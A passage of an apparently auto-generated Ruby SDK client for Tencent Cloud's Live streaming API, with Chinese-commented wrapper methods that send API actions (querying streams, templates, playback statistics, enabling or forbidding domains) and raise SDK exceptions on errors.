raise TencentCloud::Common::TencentCloudSDKException.new(code, message, reqid)
end
rescue TencentCloud::Common::TencentCloudSDKException => e
raise e
rescue StandardError => e
raise TencentCloud::Common::TencentCloudSDKException.new(nil, e.inspect)
end
# 查询播放鉴权key。
# @param request: Request instance for DescribeLivePlayAuthKey.
# @type request: :class:`Tencentcloud::live::V20180801::DescribeLivePlayAuthKeyRequest`
# @rtype: :class:`Tencentcloud::live::V20180801::DescribeLivePlayAuthKeyResponse`
def DescribeLivePlayAuthKey(request)
body = send_request('DescribeLivePlayAuthKey', request.serialize)
response = JSON.parse(body)
if response['Response'].key?('Error') == false
model = DescribeLivePlayAuthKeyResponse.new
model.deserialize(response['Response'])
model
else
code = response['Response']['Error']['Code']
message = response['Response']['Error']['Message']
reqid = response['Response']['RequestId']
raise TencentCloud::Common::TencentCloudSDKException.new(code, message, reqid)
end
rescue TencentCloud::Common::TencentCloudSDKException => e
raise e
rescue StandardError => e
raise TencentCloud::Common::TencentCloudSDKException.new(nil, e.inspect)
end
# 查询直播推流鉴权key
# @param request: Request instance for DescribeLivePushAuthKey.
# @type request: :class:`Tencentcloud::live::V20180801::DescribeLivePushAuthKeyRequest`
# @rtype: :class:`Tencentcloud::live::V20180801::DescribeLivePushAuthKeyResponse`
def DescribeLivePushAuthKey(request)
body = send_request('DescribeLivePushAuthKey', request.serialize)
response = JSON.parse(body)
if response['Response'].key?('Error') == false
model = DescribeLivePushAuthKeyResponse.new
model.deserialize(response['Response'])
model
else
code = response['Response']['Error']['Code']
message = response['Response']['Error']['Message']
reqid = response['Response']['RequestId']
raise TencentCloud::Common::TencentCloudSDKException.new(code, message, reqid)
end
rescue TencentCloud::Common::TencentCloudSDKException => e
raise e
rescue StandardError => e
raise TencentCloud::Common::TencentCloudSDKException.new(nil, e.inspect)
end
# 获取录制规则列表
# @param request: Request instance for DescribeLiveRecordRules.
# @type request: :class:`Tencentcloud::live::V20180801::DescribeLiveRecordRulesRequest`
# @rtype: :class:`Tencentcloud::live::V20180801::DescribeLiveRecordRulesResponse`
def DescribeLiveRecordRules(request)
body = send_request('DescribeLiveRecordRules', request.serialize)
response = JSON.parse(body)
if response['Response'].key?('Error') == false
model = DescribeLiveRecordRulesResponse.new
model.deserialize(response['Response'])
model
else
code = response['Response']['Error']['Code']
message = response['Response']['Error']['Message']
reqid = response['Response']['RequestId']
raise TencentCloud::Common::TencentCloudSDKException.new(code, message, reqid)
end
rescue TencentCloud::Common::TencentCloudSDKException => e
raise e
rescue StandardError => e
raise TencentCloud::Common::TencentCloudSDKException.new(nil, e.inspect)
end
# 获取单个录制模板。
# @param request: Request instance for DescribeLiveRecordTemplate.
# @type request: :class:`Tencentcloud::live::V20180801::DescribeLiveRecordTemplateRequest`
# @rtype: :class:`Tencentcloud::live::V20180801::DescribeLiveRecordTemplateResponse`
def DescribeLiveRecordTemplate(request)
body = send_request('DescribeLiveRecordTemplate', request.serialize)
response = JSON.parse(body)
if response['Response'].key?('Error') == false
model = DescribeLiveRecordTemplateResponse.new
model.deserialize(response['Response'])
model
else
code = response['Response']['Error']['Code']
message = response['Response']['Error']['Message']
reqid = response['Response']['RequestId']
raise TencentCloud::Common::TencentCloudSDKException.new(code, message, reqid)
end
rescue TencentCloud::Common::TencentCloudSDKException => e
raise e
rescue StandardError => e
raise TencentCloud::Common::TencentCloudSDKException.new(nil, e.inspect)
end
# 获取录制模板列表。
# @param request: Request instance for DescribeLiveRecordTemplates.
# @type request: :class:`Tencentcloud::live::V20180801::DescribeLiveRecordTemplatesRequest`
# @rtype: :class:`Tencentcloud::live::V20180801::DescribeLiveRecordTemplatesResponse`
def DescribeLiveRecordTemplates(request)
body = send_request('DescribeLiveRecordTemplates', request.serialize)
response = JSON.parse(body)
if response['Response'].key?('Error') == false
model = DescribeLiveRecordTemplatesResponse.new
model.deserialize(response['Response'])
model
else
code = response['Response']['Error']['Code']
message = response['Response']['Error']['Message']
reqid = response['Response']['RequestId']
raise TencentCloud::Common::TencentCloudSDKException.new(code, message, reqid)
end
rescue TencentCloud::Common::TencentCloudSDKException => e
raise e
rescue StandardError => e
raise TencentCloud::Common::TencentCloudSDKException.new(nil, e.inspect)
end
# 获取截图规则列表
# @param request: Request instance for DescribeLiveSnapshotRules.
# @type request: :class:`Tencentcloud::live::V20180801::DescribeLiveSnapshotRulesRequest`
# @rtype: :class:`Tencentcloud::live::V20180801::DescribeLiveSnapshotRulesResponse`
def DescribeLiveSnapshotRules(request)
body = send_request('DescribeLiveSnapshotRules', request.serialize)
response = JSON.parse(body)
if response['Response'].key?('Error') == false
model = DescribeLiveSnapshotRulesResponse.new
model.deserialize(response['Response'])
model
else
code = response['Response']['Error']['Code']
message = response['Response']['Error']['Message']
reqid = response['Response']['RequestId']
raise TencentCloud::Common::TencentCloudSDKException.new(code, message, reqid)
end
rescue TencentCloud::Common::TencentCloudSDKException => e
raise e
rescue StandardError => e
raise TencentCloud::Common::TencentCloudSDKException.new(nil, e.inspect)
end
# 获取单个截图模板。
# @param request: Request instance for DescribeLiveSnapshotTemplate.
# @type request: :class:`Tencentcloud::live::V20180801::DescribeLiveSnapshotTemplateRequest`
# @rtype: :class:`Tencentcloud::live::V20180801::DescribeLiveSnapshotTemplateResponse`
def DescribeLiveSnapshotTemplate(request)
body = send_request('DescribeLiveSnapshotTemplate', request.serialize)
response = JSON.parse(body)
if response['Response'].key?('Error') == false
model = DescribeLiveSnapshotTemplateResponse.new
model.deserialize(response['Response'])
model
else
code = response['Response']['Error']['Code']
message = response['Response']['Error']['Message']
reqid = response['Response']['RequestId']
raise TencentCloud::Common::TencentCloudSDKException.new(code, message, reqid)
end
rescue TencentCloud::Common::TencentCloudSDKException => e
raise e
rescue StandardError => e
raise TencentCloud::Common::TencentCloudSDKException.new(nil, e.inspect)
end
# 获取截图模板列表。
# @param request: Request instance for DescribeLiveSnapshotTemplates.
# @type request: :class:`Tencentcloud::live::V20180801::DescribeLiveSnapshotTemplatesRequest`
# @rtype: :class:`Tencentcloud::live::V20180801::DescribeLiveSnapshotTemplatesResponse`
def DescribeLiveSnapshotTemplates(request)
body = send_request('DescribeLiveSnapshotTemplates', request.serialize)
response = JSON.parse(body)
if response['Response'].key?('Error') == false
model = DescribeLiveSnapshotTemplatesResponse.new
model.deserialize(response['Response'])
model
else
code = response['Response']['Error']['Code']
message = response['Response']['Error']['Message']
reqid = response['Response']['RequestId']
raise TencentCloud::Common::TencentCloudSDKException.new(code, message, reqid)
end
rescue TencentCloud::Common::TencentCloudSDKException => e
raise e
rescue StandardError => e
raise TencentCloud::Common::TencentCloudSDKException.new(nil, e.inspect)
end
# 用于查询推断流事件。<br>
# 注意:该接口可通过使用IsFilter进行过滤,返回推流历史记录。
# @param request: Request instance for DescribeLiveStreamEventList.
# @type request: :class:`Tencentcloud::live::V20180801::DescribeLiveStreamEventListRequest`
# @rtype: :class:`Tencentcloud::live::V20180801::DescribeLiveStreamEventListResponse`
def DescribeLiveStreamEventList(request)
body = send_request('DescribeLiveStreamEventList', request.serialize)
response = JSON.parse(body)
if response['Response'].key?('Error') == false
model = DescribeLiveStreamEventListResponse.new
model.deserialize(response['Response'])
model
else
code = response['Response']['Error']['Code']
message = response['Response']['Error']['Message']
reqid = response['Response']['RequestId']
raise TencentCloud::Common::TencentCloudSDKException.new(code, message, reqid)
end
rescue TencentCloud::Common::TencentCloudSDKException => e
raise e
rescue StandardError => e
raise TencentCloud::Common::TencentCloudSDKException.new(nil, e.inspect)
end
# 返回正在直播中的流列表。适用于推流成功后查询在线流信息。
# 注意:该接口仅适用于流数少于2万路的情况,对于流数较大用户请联系售后。
# @param request: Request instance for DescribeLiveStreamOnlineList.
# @type request: :class:`Tencentcloud::live::V20180801::DescribeLiveStreamOnlineListRequest`
# @rtype: :class:`Tencentcloud::live::V20180801::DescribeLiveStreamOnlineListResponse`
def DescribeLiveStreamOnlineList(request)
body = send_request('DescribeLiveStreamOnlineList', request.serialize)
response = JSON.parse(body)
if response['Response'].key?('Error') == false
model = DescribeLiveStreamOnlineListResponse.new
model.deserialize(response['Response'])
model
else
code = response['Response']['Error']['Code']
message = response['Response']['Error']['Message']
reqid = response['Response']['RequestId']
raise TencentCloud::Common::TencentCloudSDKException.new(code, message, reqid)
end
rescue TencentCloud::Common::TencentCloudSDKException => e
raise e
rescue StandardError => e
raise TencentCloud::Common::TencentCloudSDKException.new(nil, e.inspect)
end
# 返回已经推过流的流列表。<br>
# 注意:分页最多支持查询1万条记录,可通过调整查询时间范围来获取更多数据。
# @param request: Request instance for DescribeLiveStreamPublishedList.
# @type request: :class:`Tencentcloud::live::V20180801::DescribeLiveStreamPublishedListRequest`
# @rtype: :class:`Tencentcloud::live::V20180801::DescribeLiveStreamPublishedListResponse`
def DescribeLiveStreamPublishedList(request)
body = send_request('DescribeLiveStreamPublishedList', request.serialize)
response = JSON.parse(body)
if response['Response'].key?('Error') == false
model = DescribeLiveStreamPublishedListResponse.new
model.deserialize(response['Response'])
model
else
code = response['Response']['Error']['Code']
message = response['Response']['Error']['Message']
reqid = response['Response']['RequestId']
raise TencentCloud::Common::TencentCloudSDKException.new(code, message, reqid)
end
rescue TencentCloud::Common::TencentCloudSDKException => e
raise e
rescue StandardError => e
raise TencentCloud::Common::TencentCloudSDKException.new(nil, e.inspect)
end
# 查询所有实时流的推流信息,包括客户端IP,服务端IP,帧率,码率,域名,开始推流时间。
# @param request: Request instance for DescribeLiveStreamPushInfoList.
# @type request: :class:`Tencentcloud::live::V20180801::DescribeLiveStreamPushInfoListRequest`
# @rtype: :class:`Tencentcloud::live::V20180801::DescribeLiveStreamPushInfoListResponse`
def DescribeLiveStreamPushInfoList(request)
body = send_request('DescribeLiveStreamPushInfoList', request.serialize)
response = JSON.parse(body)
if response['Response'].key?('Error') == false
model = DescribeLiveStreamPushInfoListResponse.new
model.deserialize(response['Response'])
model
else
code = response['Response']['Error']['Code']
message = response['Response']['Error']['Message']
reqid = response['Response']['RequestId']
raise TencentCloud::Common::TencentCloudSDKException.new(code, message, reqid)
end
rescue TencentCloud::Common::TencentCloudSDKException => e
raise e
rescue StandardError => e
raise TencentCloud::Common::TencentCloudSDKException.new(nil, e.inspect)
end
# 返回直播中、无推流或者禁播等状态
# @param request: Request instance for DescribeLiveStreamState.
# @type request: :class:`Tencentcloud::live::V20180801::DescribeLiveStreamStateRequest`
# @rtype: :class:`Tencentcloud::live::V20180801::DescribeLiveStreamStateResponse`
def DescribeLiveStreamState(request)
body = send_request('DescribeLiveStreamState', request.serialize)
response = JSON.parse(body)
if response['Response'].key?('Error') == false
model = DescribeLiveStreamStateResponse.new
model.deserialize(response['Response'])
model
else
code = response['Response']['Error']['Code']
message = response['Response']['Error']['Message']
reqid = response['Response']['RequestId']
raise TencentCloud::Common::TencentCloudSDKException.new(code, message, reqid)
end
rescue TencentCloud::Common::TencentCloudSDKException => e
raise e
rescue StandardError => e
raise TencentCloud::Common::TencentCloudSDKException.new(nil, e.inspect)
end
# 支持查询某天或某段时间的转码详细信息。
# @param request: Request instance for DescribeLiveTranscodeDetailInfo.
# @type request: :class:`Tencentcloud::live::V20180801::DescribeLiveTranscodeDetailInfoRequest`
# @rtype: :class:`Tencentcloud::live::V20180801::DescribeLiveTranscodeDetailInfoResponse`
def DescribeLiveTranscodeDetailInfo(request)
body = send_request('DescribeLiveTranscodeDetailInfo', request.serialize)
response = JSON.parse(body)
if response['Response'].key?('Error') == false
model = DescribeLiveTranscodeDetailInfoResponse.new
model.deserialize(response['Response'])
model
else
code = response['Response']['Error']['Code']
message = response['Response']['Error']['Message']
reqid = response['Response']['RequestId']
raise TencentCloud::Common::TencentCloudSDKException.new(code, message, reqid)
end
rescue TencentCloud::Common::TencentCloudSDKException => e
raise e
rescue StandardError => e
raise TencentCloud::Common::TencentCloudSDKException.new(nil, e.inspect)
end
# 获取转码规则列表
# @param request: Request instance for DescribeLiveTranscodeRules.
# @type request: :class:`Tencentcloud::live::V20180801::DescribeLiveTranscodeRulesRequest`
# @rtype: :class:`Tencentcloud::live::V20180801::DescribeLiveTranscodeRulesResponse`
def DescribeLiveTranscodeRules(request)
body = send_request('DescribeLiveTranscodeRules', request.serialize)
response = JSON.parse(body)
if response['Response'].key?('Error') == false
model = DescribeLiveTranscodeRulesResponse.new
model.deserialize(response['Response'])
model
else
code = response['Response']['Error']['Code']
message = response['Response']['Error']['Message']
reqid = response['Response']['RequestId']
raise TencentCloud::Common::TencentCloudSDKException.new(code, message, reqid)
end
rescue TencentCloud::Common::TencentCloudSDKException => e
raise e
rescue StandardError => e
raise TencentCloud::Common::TencentCloudSDKException.new(nil, e.inspect)
end
# 获取单个转码模板。
# @param request: Request instance for DescribeLiveTranscodeTemplate.
# @type request: :class:`Tencentcloud::live::V20180801::DescribeLiveTranscodeTemplateRequest`
# @rtype: :class:`Tencentcloud::live::V20180801::DescribeLiveTranscodeTemplateResponse`
def DescribeLiveTranscodeTemplate(request)
body = send_request('DescribeLiveTranscodeTemplate', request.serialize)
response = JSON.parse(body)
if response['Response'].key?('Error') == false
model = DescribeLiveTranscodeTemplateResponse.new
model.deserialize(response['Response'])
model
else
code = response['Response']['Error']['Code']
message = response['Response']['Error']['Message']
reqid = response['Response']['RequestId']
raise TencentCloud::Common::TencentCloudSDKException.new(code, message, reqid)
end
rescue TencentCloud::Common::TencentCloudSDKException => e
raise e
rescue StandardError => e
raise TencentCloud::Common::TencentCloudSDKException.new(nil, e.inspect)
end
# 获取转码模板列表。
# @param request: Request instance for DescribeLiveTranscodeTemplates.
# @type request: :class:`Tencentcloud::live::V20180801::DescribeLiveTranscodeTemplatesRequest`
# @rtype: :class:`Tencentcloud::live::V20180801::DescribeLiveTranscodeTemplatesResponse`
def DescribeLiveTranscodeTemplates(request)
body = send_request('DescribeLiveTranscodeTemplates', request.serialize)
response = JSON.parse(body)
if response['Response'].key?('Error') == false
model = DescribeLiveTranscodeTemplatesResponse.new
model.deserialize(response['Response'])
model
else
code = response['Response']['Error']['Code']
message = response['Response']['Error']['Message']
reqid = response['Response']['RequestId']
raise TencentCloud::Common::TencentCloudSDKException.new(code, message, reqid)
end
rescue TencentCloud::Common::TencentCloudSDKException => e
raise e
rescue StandardError => e
raise TencentCloud::Common::TencentCloudSDKException.new(nil, e.inspect)
end
# 获取单个水印信息。
# @param request: Request instance for DescribeLiveWatermark.
# @type request: :class:`Tencentcloud::live::V20180801::DescribeLiveWatermarkRequest`
# @rtype: :class:`Tencentcloud::live::V20180801::DescribeLiveWatermarkResponse`
def DescribeLiveWatermark(request)
body = send_request('DescribeLiveWatermark', request.serialize)
response = JSON.parse(body)
if response['Response'].key?('Error') == false
model = DescribeLiveWatermarkResponse.new
model.deserialize(response['Response'])
model
else
code = response['Response']['Error']['Code']
message = response['Response']['Error']['Message']
reqid = response['Response']['RequestId']
raise TencentCloud::Common::TencentCloudSDKException.new(code, message, reqid)
end
rescue TencentCloud::Common::TencentCloudSDKException => e
raise e
rescue StandardError => e
raise TencentCloud::Common::TencentCloudSDKException.new(nil, e.inspect)
end
# 获取水印规则列表。
# @param request: Request instance for DescribeLiveWatermarkRules.
# @type request: :class:`Tencentcloud::live::V20180801::DescribeLiveWatermarkRulesRequest`
# @rtype: :class:`Tencentcloud::live::V20180801::DescribeLiveWatermarkRulesResponse`
def DescribeLiveWatermarkRules(request)
body = send_request('DescribeLiveWatermarkRules', request.serialize)
response = JSON.parse(body)
if response['Response'].key?('Error') == false
model = DescribeLiveWatermarkRulesResponse.new
model.deserialize(response['Response'])
model
else
code = response['Response']['Error']['Code']
message = response['Response']['Error']['Message']
reqid = response['Response']['RequestId']
raise TencentCloud::Common::TencentCloudSDKException.new(code, message, reqid)
end
rescue TencentCloud::Common::TencentCloudSDKException => e
raise e
rescue StandardError => e
raise TencentCloud::Common::TencentCloudSDKException.new(nil, e.inspect)
end
# 查询水印列表。
# @param request: Request instance for DescribeLiveWatermarks.
# @type request: :class:`Tencentcloud::live::V20180801::DescribeLiveWatermarksRequest`
# @rtype: :class:`Tencentcloud::live::V20180801::DescribeLiveWatermarksResponse`
def DescribeLiveWatermarks(request)
body = send_request('DescribeLiveWatermarks', request.serialize)
response = JSON.parse(body)
if response['Response'].key?('Error') == false
model = DescribeLiveWatermarksResponse.new
model.deserialize(response['Response'])
model
else
code = response['Response']['Error']['Code']
message = response['Response']['Error']['Message']
reqid = response['Response']['RequestId']
raise TencentCloud::Common::TencentCloudSDKException.new(code, message, reqid)
end
rescue TencentCloud::Common::TencentCloudSDKException => e
raise e
rescue StandardError => e
raise TencentCloud::Common::TencentCloudSDKException.new(nil, e.inspect)
end
# 批量获取日志URL。
# @param request: Request instance for DescribeLogDownloadList.
# @type request: :class:`Tencentcloud::live::V20180801::DescribeLogDownloadListRequest`
# @rtype: :class:`Tencentcloud::live::V20180801::DescribeLogDownloadListResponse`
def DescribeLogDownloadList(request)
body = send_request('DescribeLogDownloadList', request.serialize)
response = JSON.parse(body)
if response['Response'].key?('Error') == false
model = DescribeLogDownloadListResponse.new
model.deserialize(response['Response'])
model
else
code = response['Response']['Error']['Code']
message = response['Response']['Error']['Message']
reqid = response['Response']['RequestId']
raise TencentCloud::Common::TencentCloudSDKException.new(code, message, reqid)
end
rescue TencentCloud::Common::TencentCloudSDKException => e
raise e
rescue StandardError => e
raise TencentCloud::Common::TencentCloudSDKException.new(nil, e.inspect)
end
# 查询下行播放错误码信息,某段时间内1分钟粒度的各http错误码出现的次数,包括4xx,5xx。
# @param request: Request instance for DescribePlayErrorCodeDetailInfoList.
# @type request: :class:`Tencentcloud::live::V20180801::DescribePlayErrorCodeDetailInfoListRequest`
# @rtype: :class:`Tencentcloud::live::V20180801::DescribePlayErrorCodeDetailInfoListResponse`
def DescribePlayErrorCodeDetailInfoList(request)
body = send_request('DescribePlayErrorCodeDetailInfoList', request.serialize)
response = JSON.parse(body)
if response['Response'].key?('Error') == false
model = DescribePlayErrorCodeDetailInfoListResponse.new
model.deserialize(response['Response'])
model
else
code = response['Response']['Error']['Code']
message = response['Response']['Error']['Message']
reqid = response['Response']['RequestId']
raise TencentCloud::Common::TencentCloudSDKException.new(code, message, reqid)
end
rescue TencentCloud::Common::TencentCloudSDKException => e
raise e
rescue StandardError => e
raise TencentCloud::Common::TencentCloudSDKException.new(nil, e.inspect)
end
# 查询下行播放错误码信息。
# @param request: Request instance for DescribePlayErrorCodeSumInfoList.
# @type request: :class:`Tencentcloud::live::V20180801::DescribePlayErrorCodeSumInfoListRequest`
# @rtype: :class:`Tencentcloud::live::V20180801::DescribePlayErrorCodeSumInfoListResponse`
def DescribePlayErrorCodeSumInfoList(request)
body = send_request('DescribePlayErrorCodeSumInfoList', request.serialize)
response = JSON.parse(body)
if response['Response'].key?('Error') == false
model = DescribePlayErrorCodeSumInfoListResponse.new
model.deserialize(response['Response'])
model
else
code = response['Response']['Error']['Code']
message = response['Response']['Error']['Message']
reqid = response['Response']['RequestId']
raise TencentCloud::Common::TencentCloudSDKException.new(code, message, reqid)
end
rescue TencentCloud::Common::TencentCloudSDKException => e
raise e
rescue StandardError => e
raise TencentCloud::Common::TencentCloudSDKException.new(nil, e.inspect)
end
# 查询某段时间内每个国家地区每个省份每个运营商的平均每秒流量,总流量,总请求数信息。
# @param request: Request instance for DescribeProIspPlaySumInfoList.
# @type request: :class:`Tencentcloud::live::V20180801::DescribeProIspPlaySumInfoListRequest`
# @rtype: :class:`Tencentcloud::live::V20180801::DescribeProIspPlaySumInfoListResponse`
def DescribeProIspPlaySumInfoList(request)
body = send_request('DescribeProIspPlaySumInfoList', request.serialize)
response = JSON.parse(body)
if response['Response'].key?('Error') == false
model = DescribeProIspPlaySumInfoListResponse.new
model.deserialize(response['Response'])
model
else
code = response['Response']['Error']['Code']
message = response['Response']['Error']['Message']
reqid = response['Response']['RequestId']
raise TencentCloud::Common::TencentCloudSDKException.new(code, message, reqid)
end
rescue TencentCloud::Common::TencentCloudSDKException => e
raise e
rescue StandardError => e
raise TencentCloud::Common::TencentCloudSDKException.new(nil, e.inspect)
end
# 查询某省份某运营商下行播放数据,包括带宽,流量,请求数,并发连接数信息。
# @param request: Request instance for DescribeProvinceIspPlayInfoList.
# @type request: :class:`Tencentcloud::live::V20180801::DescribeProvinceIspPlayInfoListRequest`
# @rtype: :class:`Tencentcloud::live::V20180801::DescribeProvinceIspPlayInfoListResponse`
def DescribeProvinceIspPlayInfoList(request)
body = send_request('DescribeProvinceIspPlayInfoList', request.serialize)
response = JSON.parse(body)
if response['Response'].key?('Error') == false
model = DescribeProvinceIspPlayInfoListResponse.new
model.deserialize(response['Response'])
model
else
code = response['Response']['Error']['Code']
message = response['Response']['Error']['Message']
reqid = response['Response']['RequestId']
raise TencentCloud::Common::TencentCloudSDKException.new(code, message, reqid)
end
rescue TencentCloud::Common::TencentCloudSDKException => e
raise e
rescue StandardError => e
raise TencentCloud::Common::TencentCloudSDKException.new(nil, e.inspect)
end
# 查询直播拉流配置。
# @param request: Request instance for DescribePullStreamConfigs.
# @type request: :class:`Tencentcloud::live::V20180801::DescribePullStreamConfigsRequest`
# @rtype: :class:`Tencentcloud::live::V20180801::DescribePullStreamConfigsResponse`
def DescribePullStreamConfigs(request)
body = send_request('DescribePullStreamConfigs', request.serialize)
response = JSON.parse(body)
if response['Response'].key?('Error') == false
model = DescribePullStreamConfigsResponse.new
model.deserialize(response['Response'])
model
else
code = response['Response']['Error']['Code']
message = response['Response']['Error']['Message']
reqid = response['Response']['RequestId']
raise TencentCloud::Common::TencentCloudSDKException.new(code, message, reqid)
end
rescue TencentCloud::Common::TencentCloudSDKException => e
raise e
rescue StandardError => e
raise TencentCloud::Common::TencentCloudSDKException.new(nil, e.inspect)
end
# 接口用来查询直播增值业务--截图的张数
# @param request: Request instance for DescribeScreenShotSheetNumList.
# @type request: :class:`Tencentcloud::live::V20180801::DescribeScreenShotSheetNumListRequest`
# @rtype: :class:`Tencentcloud::live::V20180801::DescribeScreenShotSheetNumListResponse`
def DescribeScreenShotSheetNumList(request)
body = send_request('DescribeScreenShotSheetNumList', request.serialize)
response = JSON.parse(body)
if response['Response'].key?('Error') == false
model = DescribeScreenShotSheetNumListResponse.new
model.deserialize(response['Response'])
model
else
code = response['Response']['Error']['Code']
message = response['Response']['Error']['Message']
reqid = response['Response']['RequestId']
raise TencentCloud::Common::TencentCloudSDKException.new(code, message, reqid)
end
rescue TencentCloud::Common::TencentCloudSDKException => e
raise e
rescue StandardError => e
raise TencentCloud::Common::TencentCloudSDKException.new(nil, e.inspect)
end
# 查询天维度每条流的播放数据,包括总流量等。
# @param request: Request instance for DescribeStreamDayPlayInfoList.
# @type request: :class:`Tencentcloud::live::V20180801::DescribeStreamDayPlayInfoListRequest`
# @rtype: :class:`Tencentcloud::live::V20180801::DescribeStreamDayPlayInfoListResponse`
def DescribeStreamDayPlayInfoList(request)
body = send_request('DescribeStreamDayPlayInfoList', request.serialize)
response = JSON.parse(body)
if response['Response'].key?('Error') == false
model = DescribeStreamDayPlayInfoListResponse.new
model.deserialize(response['Response'])
model
else
code = response['Response']['Error']['Code']
message = response['Response']['Error']['Message']
reqid = response['Response']['RequestId']
raise TencentCloud::Common::TencentCloudSDKException.new(code, message, reqid)
end
rescue TencentCloud::Common::TencentCloudSDKException => e
raise e
rescue StandardError => e
raise TencentCloud::Common::TencentCloudSDKException.new(nil, e.inspect)
end
# 查询播放数据,支持按流名称查询详细播放数据,也可按播放域名查询详细总数据,数据延迟4分钟左右。
# 注意:按AppName查询请先联系工单申请,开通后配置生效预计需要5个工作日左右,具体时间以最终回复为准。
# @param request: Request instance for DescribeStreamPlayInfoList.
# @type request: :class:`Tencentcloud::live::V20180801::DescribeStreamPlayInfoListRequest`
# @rtype: :class:`Tencentcloud::live::V20180801::DescribeStreamPlayInfoListResponse`
def DescribeStreamPlayInfoList(request)
body = send_request('DescribeStreamPlayInfoList', request.serialize)
response = JSON.parse(body)
if response['Response'].key?('Error') == false
model = DescribeStreamPlayInfoListResponse.new
model.deserialize(response['Response'])
model
else
code = response['Response']['Error']['Code']
message = response['Response']['Error']['Message']
reqid = response['Response']['RequestId']
raise TencentCloud::Common::TencentCloudSDKException.new(code, message, reqid)
end
rescue TencentCloud::Common::TencentCloudSDKException => e
raise e
rescue StandardError => e
raise TencentCloud::Common::TencentCloudSDKException.new(nil, e.inspect)
end
# 查询流id的上行推流质量数据,包括音视频的帧率,码率,流逝时间,编码格式等。
# @param request: Request instance for DescribeStreamPushInfoList.
# @type request: :class:`Tencentcloud::live::V20180801::DescribeStreamPushInfoListRequest`
# @rtype: :class:`Tencentcloud::live::V20180801::DescribeStreamPushInfoListResponse`
def DescribeStreamPushInfoList(request)
body = send_request('DescribeStreamPushInfoList', request.serialize)
response = JSON.parse(body)
if response['Response'].key?('Error') == false
model = DescribeStreamPushInfoListResponse.new
model.deserialize(response['Response'])
model
else
code = response['Response']['Error']['Code']
message = response['Response']['Error']['Message']
reqid = response['Response']['RequestId']
raise TencentCloud::Common::TencentCloudSDKException.new(code, message, reqid)
end
rescue TencentCloud::Common::TencentCloudSDKException => e
raise e
rescue StandardError => e
raise TencentCloud::Common::TencentCloudSDKException.new(nil, e.inspect)
end
# 查询某段时间top n客户端ip汇总信息(暂支持top 1000)
# @param request: Request instance for DescribeTopClientIpSumInfoList.
# @type request: :class:`Tencentcloud::live::V20180801::DescribeTopClientIpSumInfoListRequest`
# @rtype: :class:`Tencentcloud::live::V20180801::DescribeTopClientIpSumInfoListResponse`
def DescribeTopClientIpSumInfoList(request)
body = send_request('DescribeTopClientIpSumInfoList', request.serialize)
response = JSON.parse(body)
if response['Response'].key?('Error') == false
model = DescribeTopClientIpSumInfoListResponse.new
model.deserialize(response['Response'])
model
else
code = response['Response']['Error']['Code']
message = response['Response']['Error']['Message']
reqid = response['Response']['RequestId']
raise TencentCloud::Common::TencentCloudSDKException.new(code, message, reqid)
end
rescue TencentCloud::Common::TencentCloudSDKException => e
raise e
rescue StandardError => e
raise TencentCloud::Common::TencentCloudSDKException.new(nil, e.inspect)
end
# 直播上行路数查询
# @param request: Request instance for DescribeUploadStreamNums.
# @type request: :class:`Tencentcloud::live::V20180801::DescribeUploadStreamNumsRequest`
# @rtype: :class:`Tencentcloud::live::V20180801::DescribeUploadStreamNumsResponse`
def DescribeUploadStreamNums(request)
body = send_request('DescribeUploadStreamNums', request.serialize)
response = JSON.parse(body)
if response['Response'].key?('Error') == false
model = DescribeUploadStreamNumsResponse.new
model.deserialize(response['Response'])
model
else
code = response['Response']['Error']['Code']
message = response['Response']['Error']['Message']
reqid = response['Response']['RequestId']
raise TencentCloud::Common::TencentCloudSDKException.new(code, message, reqid)
end
rescue TencentCloud::Common::TencentCloudSDKException => e
raise e
rescue StandardError => e
raise TencentCloud::Common::TencentCloudSDKException.new(nil, e.inspect)
end
# 查询某时间段top n的域名或流id信息(暂支持top 1000)。
# @param request: Request instance for DescribeVisitTopSumInfoList.
# @type request: :class:`Tencentcloud::live::V20180801::DescribeVisitTopSumInfoListRequest`
# @rtype: :class:`Tencentcloud::live::V20180801::DescribeVisitTopSumInfoListResponse`
def DescribeVisitTopSumInfoList(request)
body = send_request('DescribeVisitTopSumInfoList', request.serialize)
response = JSON.parse(body)
if response['Response'].key?('Error') == false
model = DescribeVisitTopSumInfoListResponse.new
model.deserialize(response['Response'])
model
else
code = response['Response']['Error']['Code']
message = response['Response']['Error']['Message']
reqid = response['Response']['RequestId']
raise TencentCloud::Common::TencentCloudSDKException.new(code, message, reqid)
end
rescue TencentCloud::Common::TencentCloudSDKException => e
raise e
rescue StandardError => e
raise TencentCloud::Common::TencentCloudSDKException.new(nil, e.inspect)
end
# 断开推流连接,但可以重新推流。
# @param request: Request instance for DropLiveStream.
# @type request: :class:`Tencentcloud::live::V20180801::DropLiveStreamRequest`
# @rtype: :class:`Tencentcloud::live::V20180801::DropLiveStreamResponse`
def DropLiveStream(request)
body = send_request('DropLiveStream', request.serialize)
response = JSON.parse(body)
if response['Response'].key?('Error') == false
model = DropLiveStreamResponse.new
model.deserialize(response['Response'])
model
else
code = response['Response']['Error']['Code']
message = response['Response']['Error']['Message']
reqid = response['Response']['RequestId']
raise TencentCloud::Common::TencentCloudSDKException.new(code, message, reqid)
end
rescue TencentCloud::Common::TencentCloudSDKException => e
raise e
rescue StandardError => e
raise TencentCloud::Common::TencentCloudSDKException.new(nil, e.inspect)
end
# 启用状态为停用的直播域名。
# @param request: Request instance for EnableLiveDomain.
# @type request: :class:`Tencentcloud::live::V20180801::EnableLiveDomainRequest`
# @rtype: :class:`Tencentcloud::live::V20180801::EnableLiveDomainResponse`
def EnableLiveDomain(request)
body = send_request('EnableLiveDomain', request.serialize)
response = JSON.parse(body)
if response['Response'].key?('Error') == false
model = EnableLiveDomainResponse.new
model.deserialize(response['Response'])
model
else
code = response['Response']['Error']['Code']
message = response['Response']['Error']['Message']
reqid = response['Response']['RequestId']
raise TencentCloud::Common::TencentCloudSDKException.new(code, message, reqid)
end
rescue TencentCloud::Common::TencentCloudSDKException => e
raise e
rescue StandardError => e
raise TencentCloud::Common::TencentCloudSDKException.new(nil, e.inspect)
end
# 停止使用某个直播域名。
# @param request: Request instance for ForbidLiveDomain.
# @type request: :class:`Tencentcloud::live::V20180801::ForbidLiveDomainRequest`
# @rtype: :class:`Tencentcloud::live::V20180801::ForbidLiveDomainResponse`
def ForbidLiveDomain(request)
body = send_request('ForbidLiveDomain', request.serialize)
response = JSON.parse(body)
if response['Response'].key?('Error') == false
model = ForbidLiveDomainResponse.new
model.deserialize(response['Response'])
model
else
code = response['Response']['Error']['Code']
message = response['Response']['Error']['Message']
reqid = response['Response']['RequestId']
raise TencentCloud::Common::TencentCloudSDKException.new(code, message, reqid)
end
